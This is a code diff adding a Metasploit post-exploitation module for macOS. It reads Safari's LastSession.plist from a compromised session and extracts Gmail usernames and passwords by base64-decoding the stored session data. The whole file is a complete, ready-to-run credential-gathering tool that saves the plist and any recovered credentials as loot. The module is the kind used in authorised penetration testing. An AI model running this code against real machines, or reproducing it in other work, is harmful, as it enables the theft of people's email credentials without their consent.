|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rexml/document' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Post |
| 10 | + |
| 11 | + include Msf::Post::File |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super( update_info( info, |
| 15 | + 'Name' => 'OSX Gather Safari LastSession.plist', |
| 16 | + 'Description' => %q{ |
| 17 | + This module downloads the LastSession.plist file from the target machine. |
| 18 | + LastSession.plist is used by Safari to track active websites in the current |
| 19 | + session, and sometimes contains sensitive information such as usernames and |
| 20 | + passwords. This module will first download the original LastSession.plist, |
| 21 | + and then attempt to find the credential for Gmail. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => [ 'sinn3r'], |
| 25 | + 'Platform' => [ 'osx' ], |
| 26 | + 'SessionTypes' => [ 'shell' ], |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari'] |
| 30 | + ] |
| 31 | + )) |
| 32 | + end |
| 33 | + |
| 34 | + |
| 35 | + # |
| 36 | + # Returns the Safari version based on version.plist |
| 37 | + # @return [String] The Safari version. If not found, returns '' |
| 38 | + # |
| 39 | + def get_safari_version |
| 40 | + vprint_status("#{peer} - Checking Safari version.") |
| 41 | + version = '' |
| 42 | + |
| 43 | + f = read_file("/Applications/Safari.app/Contents/version.plist") |
| 44 | + xml = REXML::Document.new(f) |
| 45 | + return version if xml.root.nil? |
| 46 | + |
| 47 | + xml.elements['plist/dict'].each_element do |e| |
| 48 | + if e.text == 'CFBundleShortVersionString' |
| 49 | + version = e.next_element.text |
| 50 | + break |
| 51 | + end |
| 52 | + end |
| 53 | + |
| 54 | + version |
| 55 | + end |
| 56 | + |
| 57 | + def peer |
| 58 | + "#{session.session_host}:#{session.session_port}" |
| 59 | + end |
| 60 | + |
| 61 | + |
| 62 | + # |
| 63 | + # Converts LastSession.plist to xml, and then read it |
| 64 | + # @param filename [String] The path to LastSession.plist |
| 65 | + # @return [String] Returns the XML version of LastSession.plist |
| 66 | + # |
| 67 | + def plutil(filename) |
| 68 | + cmd_exec("plutil -convert xml1 #{filename}") |
| 69 | + read_file(filename) |
| 70 | + end |
| 71 | + |
| 72 | + |
| 73 | + # |
| 74 | + # Returns the XML version of LastSession.plist (text file) |
| 75 | + # Just a wrapper for plutil |
| 76 | + # |
| 77 | + def get_lastsession |
| 78 | + print_status("#{peer} - Looking for LastSession.plist") |
| 79 | + plutil("~/Library/Safari/LastSession.plist") |
| 80 | + end |
| 81 | + |
| 82 | + |
| 83 | + # |
| 84 | + # Returns the <array> element that contains session data |
| 85 | + # @param lastsession [String] XML data |
| 86 | + # @return [REXML::Element] The Array element for the session data |
| 87 | + # |
| 88 | + def get_sessions(lastsession) |
| 89 | + session_dict = nil |
| 90 | + |
| 91 | + xml = REXML::Document.new(lastsession) |
| 92 | + return nil if xml.root.nil? |
| 93 | + |
| 94 | + xml.elements['plist'].each_element do |e| |
| 95 | + found = false |
| 96 | + e.elements.each do |e2| |
| 97 | + if e2.text == 'SessionWindows' |
| 98 | + session_dict = e.elements['array'] |
| 99 | + found = true |
| 100 | + break |
| 101 | + end |
| 102 | + end |
| 103 | + |
| 104 | + break if found |
| 105 | + end |
| 106 | + |
| 107 | + session_dict |
| 108 | + end |
| 109 | + |
| 110 | + |
| 111 | + # |
| 112 | + # Returns the <dict> session element |
| 113 | + # @param xml [REXML::Element] The array element for the session data |
| 114 | + # @param domain [String] The domain to search for |
| 115 | + # @return [REXML::Element] The <dict> element for the session data |
| 116 | + # |
| 117 | + def get_session_element(xml, domain) |
| 118 | + dict = nil |
| 119 | + |
| 120 | + found = false |
| 121 | + xml.each_element do |e| |
| 122 | + e.elements['array/dict'].each_element do |e2| |
| 123 | + if e2.text =~ /#{domain}/ |
| 124 | + dict = e |
| 125 | + found = true |
| 126 | + break |
| 127 | + end |
| 128 | + end |
| 129 | + |
| 130 | + break if found |
| 131 | + end |
| 132 | + |
| 133 | + dict |
| 134 | + end |
| 135 | + |
| 136 | + |
| 137 | + # |
| 138 | + # Extracts Gmail username/password |
| 139 | + # @param xml [REXML::Element] The array element for the session data |
| 140 | + # @return [Array] [0] is the domain, [1] is the user, [2] is the pass |
| 141 | + # |
| 142 | + def find_gmail_cred(xml) |
| 143 | + vprint_status("#{peer} - Looking for username/password for Gmail.") |
| 144 | + gmail_dict = get_session_element(xml, 'mail.google.com') |
| 145 | + return '' if gmail_dict.nil? |
| 146 | + |
| 147 | + raw_data = gmail_dict.elements['array/dict/data'].text |
| 148 | + decoded_data = Rex::Text.decode_base64(raw_data) |
| 149 | + cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)\&signIn/).flatten |
| 150 | + user, pass = cred.map {|data| Rex::Text.uri_decode(data)} |
| 151 | + |
| 152 | + return '' if user.blank? or pass.blank? |
| 153 | + |
| 154 | + ['mail.google.com', user, pass] |
| 155 | + end |
| 156 | + |
| 157 | + # |
| 158 | + # Runs the module |
| 159 | + # |
| 160 | + def run |
| 161 | + cred_tbl = Rex::Ui::Text::Table.new({ |
| 162 | + 'Header' => 'Credentials', |
| 163 | + 'Indent' => 1, |
| 164 | + 'Columns' => ['Domain', 'Username', 'Password'] |
| 165 | + }) |
| 166 | + |
| 167 | + # |
| 168 | + # Downloads LastSession.plist in XML format |
| 169 | + # |
| 170 | + lastsession = get_lastsession |
| 171 | + if lastsession.blank? |
| 172 | + print_error("#{peer} - LastSession.plist not found") |
| 173 | + return |
| 174 | + else |
| 175 | + p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml') |
| 176 | + print_good("#{peer} - LastSession.plist stored in: #{p.to_s}") |
| 177 | + end |
| 178 | + |
| 179 | + # |
| 180 | + # If this is an unpatched version, we try to extract creds |
| 181 | + # |
| 182 | + version = get_safari_version |
| 183 | + if version.blank? |
| 184 | + print_warning("Unable to determine Safari version, will try to extract creds anyway") |
| 185 | + elsif version >= "6.1" |
| 186 | + print_status("#{peer} - This machine no longer stores session data in plain text") |
| 187 | + return |
| 188 | + else |
| 189 | + vprint_status("#{peer} - Safari version: #{version}") |
| 190 | + end |
| 191 | + |
| 192 | + # |
| 193 | + # Attempts to convert the XML file to an actual XML object, with the <array> element |
| 194 | + # holding our session data |
| 195 | + # |
| 196 | + lastsession_xml = get_sessions(lastsession) |
| 197 | + unless lastsession_xml |
| 198 | + print_error("Cannot read XML file, or unable to find any session data") |
| 199 | + return |
| 200 | + end |
| 201 | + |
| 202 | + # |
| 203 | + # Look for credential in the session data. |
| 204 | + # I don't know who else stores their user/pass in the session data, but I accept pull requests. |
| 205 | + # Already looked at hotmail, yahoo, and twitter |
| 206 | + # |
| 207 | + gmail_cred = find_gmail_cred(lastsession_xml) |
| 208 | + cred_tbl << gmail_cred unless gmail_cred.blank? |
| 209 | + |
| 210 | + unless cred_tbl.rows.empty? |
| 211 | + p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt') |
| 212 | + print_good("#{peer} - Found credential saved in: #{p}") |
| 213 | + print_line |
| 214 | + print_line(cred_tbl.to_s) |
| 215 | + end |
| 216 | + end |
| 217 | + |
| 218 | +end |
0 commit comments